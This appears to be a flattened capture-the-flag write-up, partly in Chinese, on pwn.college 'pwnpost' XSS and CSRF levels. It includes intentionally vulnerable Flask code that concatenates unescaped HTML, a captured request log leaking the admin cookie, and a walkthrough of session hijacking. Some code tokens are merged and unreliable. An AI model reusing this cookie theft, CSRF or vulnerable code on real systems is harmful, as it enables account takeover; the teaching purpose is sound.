@app.route("/", methods=["GET"]) defchallenge_get(): page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n" username, password = flask.request.cookies.get("auth", "|").split("|") user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() if user: page += """ <form action=draft method=post> Post:<textarea name=content>Write something!</textarea> <input type=checkbox name=publish>Publish <input type=submit value=Save> </form><br> <form action=publish method=post><input type=submit value="Publish All Drafts"></form> <hr> """
for post in db.execute("SELECT * FROM posts").fetchall(): page += f"""<h2>Author: {post["author"]}</h2>""" if post["published"]: page += post["content"] + "<hr>\n" elif post["author"] == username: page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n" else: page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>""" else: page += """ <form action=login method=post> Username:<input type=text name=username> Password:<input type=text name=password> <input type=submit name=submit value=Login> </form><hr> """
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1)
其中 GET /publish/?c=auth=admin|.Q????????????????W} 就是admin的cookie了,而admin密碼就是flag後半部分,直接交出去是沒辦法過的 但,我們已經拿到這組cookie了,就直接用這組cookie當作是admin登入吧! (修改value的欄位)
就成功以admin身分進入,拿到draft檔案的flag了!
CSRF 1
1 2 3 4 5 6 7 8 9
You've used XSS to inject JavaScript to cause the victim to make HTTP requests. But what if there is no XSS? Can you just "inject" the HTTP requests directly?
Shockingly, the answer is yes. The web was designed to enable interconnectivity across many different websites. Sites can embed images from other sites, link to other sites, and even redirect to other sites. All of this flexibility represents some serious security risks, and there is almost nothing preventing a malicious website from simply directly causing a victim visitor to make potentially sensitive requests, such as (in our case) a GET request to http://challenge.localhost/publish!
This style of forging requests across sites is called Cross Site Request Forgery, or CSRF for short.
Note that I said almost nothing prevents this. The Same-origin Policy was created in the 1990s, when the web was still young, to (try to) mitigate this problem. SOP prevents a site at one Origin (say, http://www.hacker.com or, in our case, http://hacker.localhost:1337) from interacting in certain security-critical ways with sites at other Origins (say, http://www.asu.edu or, in our case, http://challenge.localhost/). SOP prevents some common CSRF vectors (e.g., when using JavaScript to make a requests across Origins, cookies will not be sent!), but there are plenty of SOP-avoiding ways to, e.g., make GET requests with cookies intact (such as full-on redirects).
In this level, pwnpost has fixed its XSS issues (at least for the admin user). You'll need to use CSRF to publish the flag post! The /challenge/victim of this level will log into pwnpost (http://challenge.localhost/) and will then visit an evil site that you can set up (http://hacker.localhost:1337/). hacker.localhost points to your local workspace, but you will need to set up a web server to serve an HTTP request on port 1337 yourself. Again, this can be done with nc or with a python server (for example, by using http.server or simply adapting the challenge server code itself!). Because these sites will have different Origins, SOP protections will apply, so be careful about how you forge the request!
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
flag = open("/flag").read().strip() if os.geteuid() == 0else"pwn.college{fake_flag}"
db = TemporaryDB() # https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag]) db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""") db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# https://www.sqlite.org/lang_select.html user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() ifnot user: flask.abort(403, "Invalid username or password")
@app.route("/publish", methods=["GET"]) defchallenge_publish(): if"username"notin flask.session: flask.abort(403, "Log in first!")
# https://www.sqlite.org/lang_update.html db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")]) return flask.redirect("/")
@app.route("/", methods=["GET"]) defchallenge_get(): page = "<html><body>\nWelcome to pwnpost, now XSS-free (for admin, at least)!<hr>\n" username = flask.session.get("username", None) if username == "admin": page += """<b>To prevent XSS, the admin does not view messages!</b>""" elif username: page += """ <form action=draft method=post> Post:<textarea name=content>Write something!</textarea> <input type=checkbox name=publish>Publish <input type=submit value=Save> </form><br><a href=publish>Publish your drafts!</a><hr> """
for post in db.execute("SELECT * FROM posts").fetchall(): page += f"""<h2>Author: {post["author"]}</h2>""" if post["published"]: page += post["content"] + "<hr>\n" else: page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>""" else: page += """ <form action=login method=post> Username:<input type=text name=username> Password:<input type=text name=password> <input type=submit name=submit value=Login> </form><hr> """
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = { s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == 'LISTEN' } if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1) challenge_url = "http://challenge.localhost:80/" flag = open("/flag").read().strip()